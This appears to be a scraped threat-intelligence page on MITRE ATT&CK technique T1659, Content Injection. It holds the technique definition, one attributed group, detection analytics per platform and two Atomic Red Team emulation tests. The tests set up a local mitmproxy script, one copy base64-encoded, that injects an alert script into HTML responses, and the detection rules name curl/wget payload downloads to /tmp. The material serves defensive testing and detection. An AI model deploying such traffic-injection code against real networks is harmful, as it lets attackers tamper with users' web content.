tfMITRE ATT&CK technique

Content Injection T1659

Tactics: Initial Access, Command and Control
Platforms: Linux, macOS, Windows
Version: 1.0
Created: 01 September 2023
Last modified: 15 April 2025

Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rulesNone recorded

Detection rulesNone recorded · 32% of ATT&CK techniques have none either.

tfMITRE ATT&CK technique

Content Injection T1659

Tactics: Initial Access, Command and Control
Platforms: Linux, macOS, Windows
Version: 1.0
Created: 01 September 2023
Last modified: 15 April 2025

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rulesNone recorded

Detection rulesNone recorded · 32% of ATT&CK techniques have none either.

Content Injection MITRE reference T1659

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

MoustachedBouncerG1019 ↗

Has injected content into DNS, HTTP, and SMB replies to redirect specifically-targeted victims to a fake Windows Update page to download malware.1

created 2023-09-251 reference

All 1 groups for this technique

Offense vs defense T1659

Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.

Content Injection detection strategy DET0349

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Content Injection

Enterprise

3 platforms

AN0992 · Windows

Detect suspicious file creations and process executions triggered by browser activity (e.g., injected payloads written to %AppData% or Temp directories, then executed). Correlate network anomalies with subsequent local process creation or script execution.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Network Traffic ContentDC0085	NSM:Flow	Unexpected script or binary content returned in HTTP response body

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MonitoredExtensions	File extensions to flag (exe, dll, js, vbs, sh, etc.).
SuspiciousParentProcesses	Browser processes (chrome.exe, firefox.exe, edge.exe, etc.) monitored as possible parents for malicious activity.
RedirectList	List of suspicious domains or URLs used for malicious redirects.

AN0993 · Linux

Detect curl/wget commands saving executable/script payloads to /tmp or /var/tmp followed by execution. Monitor packet captures or IDS/IPS alerts for injected responses or mismatched content types.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	WinEventLog:Sysmon	File creation of suspicious scripts/binaries in temporary directories
Command ExecutionDC0064	auditd:SYSCALL	execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution
Network Traffic ContentDC0085	NSM:Flow	Injected content responses with unexpected script/malware signatures

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TempDirectories	Directories such as /tmp and /var/tmp where injected files are often written.

AN0994 · macOS

Monitor unified logs for processes spawned from Safari or other browsers that immediately load scripts or executables. Detect file drops in ~/Library/Caches or ~/Downloads that execute shortly after being written.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	Child processes of Safari, Chrome, or Firefox executing scripting interpreters
File CreationDC0039	macos:unifiedlog	File creation of unsigned binaries/scripts in user cache or download directories
Network Traffic ContentDC0085	NSM:Flow	Content injection observed in HTTPS responses with mismatched certificates or altered payloads

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MonitoredDirectories	macOS-specific directories where malicious payloads may be written.

Tests2Executorsbash 1 · powershell 1Need elevation0 of 2Have prerequisites2Have cleanup2Platformsmacos, linux, windows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	MITM Proxy Injection	macos, linux	bash	—	5	Yes
Start mitmdump and verify injected header and HTML content. Attack Commandsrun with `bash` curl -skI --proxy http://127.0.0.1:8080 http://example.com > /tmp/curl_out.txt grep "X-Atomic" /tmp/curl_out.txt \|\| (cat /tmp/curl_out.txt && exit 1) curl -sk --proxy http://127.0.0.1:8080 http://example.com > /tmp/atomic_t1659_page.html grep -q "Atomic T1659 Injection" /tmp/atomic_t1659_page.html \|\| (head -20 /tmp/atomic_t1659_page.html; exit 1) Cleanup Commands rm -rf /tmp/atomic_t1659_inject.py rm -rf /tmp/atomic_t1659.log rm -rf /tmp/curl_out.txt rm -rf /tmp/atomic_t1659_page.html pkill -f mitmdump \|\| true Dependencies Description python3 must be installed Check Prereq Commands command -v python3 Get Prereq Commands brew install python3 \|\| (sudo apt-get update && sudo apt-get install -y python3) \|\| sudo yum install -y python3 Description curl must be installed Check Prereq Commands command -v curl Get Prereq Commands brew install curl \|\| (sudo apt-get update && sudo apt-get install -y curl) \|\| sudo yum install -y curl Description pipx must be installed Check Prereq Commands pipx --version Get Prereq Commands brew install pipx \|\| (sudo apt-get update && sudo apt-get install -y pipx) \|\| sudo yum install -y pipx Description mitmproxy must be installed Check Prereq Commands pipx list \| grep mitmproxy \|\| command -v mitmdump Get Prereq Commands pipx install mitmproxy \|\| brew install mitmproxy Description mitmdump must be running on port 8080 Check Prereq Commands lsof -i tcp:8080 \| grep mitmdump \|\| lsof -i tcp:8080 \| grep -i PYTHON Get Prereq Commands printf "from mitmproxy import http\ndef response(flow: http.HTTPFlow):\n if 'text/html' in flow.response.headers.get('content-type',''):\n flow.response.headers['X-Atomic']='T1659'\n flow.response.text = flow.response.text.replace('</body>', '<script>alert(\"Atomic T1659 Injection\")</script></body>')" > /tmp/atomic_t1659_inject.py ($HOME/.local/bin/mitmdump -s /tmp/atomic_t1659_inject.py -p 8080 > /tmp/atomic_t1659.log 2>&1 &) sleep 5 lsof -i tcp:8080 \| grep mitmdump \|\| (cat /tmp/atomic_t1659.log; exit 1) GUID9b360eaf-c778-4f07-a6e7-895c4f01ac1c
02	MITM Proxy Injection (Windows)	windows	powershell	—	4	Yes
Start mitmdump proxy with injection script in the background. Attack Commandsrun with `powershell` curl.exe -skI --proxy http://127.0.0.1:8080 http://example.com \| Tee-Object -FilePath "$env:TEMP\curl_out.txt" if (-not (Select-String -Path "$env:TEMP\curl_out.txt" -Pattern "X-Atomic")) { Write-Error "Header not found"; exit 1 } $OutPath = "$env:TEMP\atomic_t1659_page.html" curl.exe -sk --proxy http://127.0.0.1:8080 http://example.com \| Out-File -FilePath $OutPath -Encoding utf8 $Content = Get-Content -Path $OutPath -Raw if ($Content -notmatch "Atomic T1659 Injection") { exit 1 } Cleanup Commands Stop-Process -Name "mitmdump" -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\atomic_t1659_inject.py" -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\atomic_t1659.log" -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\curl_out.txt" -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\atomic_t1659_page.html" -ErrorAction SilentlyContinue Dependencies Description Python must be installed Check Prereq Commands if (Get-Command python -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 } Get Prereq Commands winget install --id Python.Python.3 -e Description curl must be installed Check Prereq Commands if (Get-Command curl.exe -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 } Get Prereq Commands winget install --id cURL.cURL -e Description mitmproxy must be installed and in PATH Check Prereq Commands if (Get-Command mitmdump -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 } Get Prereq Commands python -m pip install mitmproxy Description mitmdump must be running on port 8080 Check Prereq Commands $conn = Get-NetTCPConnection -LocalPort 8080 -State Listen -ErrorAction SilentlyContinue if ($conn) { $procId = $conn[0].OwningProcess $cmd = (Get-CimInstance Win32_Process -Filter "ProcessId=$procId").CommandLine if ($cmd -match "mitmdump") { exit 0 } else { exit 1 } } else { exit 1 } Get Prereq Commands $code = 'ZnJvbSBtaXRtcHJveHkgaW1wb3J0IGh0dHANCmRlZiByZXNwb25zZShmbG93OiBodHRwLkhUVFBGbG93KToNCiAgICBpZiAidGV4dC9odG1sIiBpbiBmbG93LnJlc3BvbnNlLmhlYWRlcnMuZ2V0KCJjb250ZW50LXR5cGUiLCIiKToNCiAgICAgICAgZmxvdy5yZXNwb25zZS5oZWFkZXJzWyJYLUF0b21pYyJdPSJUMTY1OSINCiAgICAgICAgZmxvdy5yZXNwb25zZS50ZXh0ID0gZmxvdy5yZXNwb25zZS50ZXh0LnJlcGxhY2UoIjwvYm9keT4iLCAiPHNjcmlwdD5hbGVydCgnQXRvbWljIFQxNjU5IEluamVjdGlvbicpPC9zY3JpcHQ+PC9ib2R5PiIp' [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($code)) \| Out-File -FilePath "$env:TEMP\atomic_t1659_inject.py" -Encoding ascii Start-Process -FilePath "mitmdump" -ArgumentList @("-s", "$env:TEMP\atomic_t1659_inject.py", "-p", "8080") -RedirectStandardOutput "$env:TEMP\atomic_t1659.log" -RedirectStandardError "$env:TEMP\atomic_t1659_error.log" -WindowStyle Hidden Start-Sleep -Seconds 5 if (Get-NetTCPConnection -LocalPort 8080 -ErrorAction SilentlyContinue \| Where-Object { (Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -like "mitmdump" }) { exit 0 } else { Get-Content "$env:TEMP\atomic_t1659.log"; exit 1 } GUIDdcc2ca85-a21c-43a4-acc7-7314d4e5891c

Tests from Atomic Red Team (MIT licence) · technique definition

Content Injection T1659

Content Injection T1659

Content Injection MITRE reference T1659

Offense vs defense T1659

Content Injection detection strategy DET0349

Detection Strategy for Content Injection

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Content Injection MITRE reference T1659

Offense vs defense T1659

Content Injection detection strategy DET0349

Detection Strategy for Content Injection

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Content Injection detections T1659

Content Injection detections T1659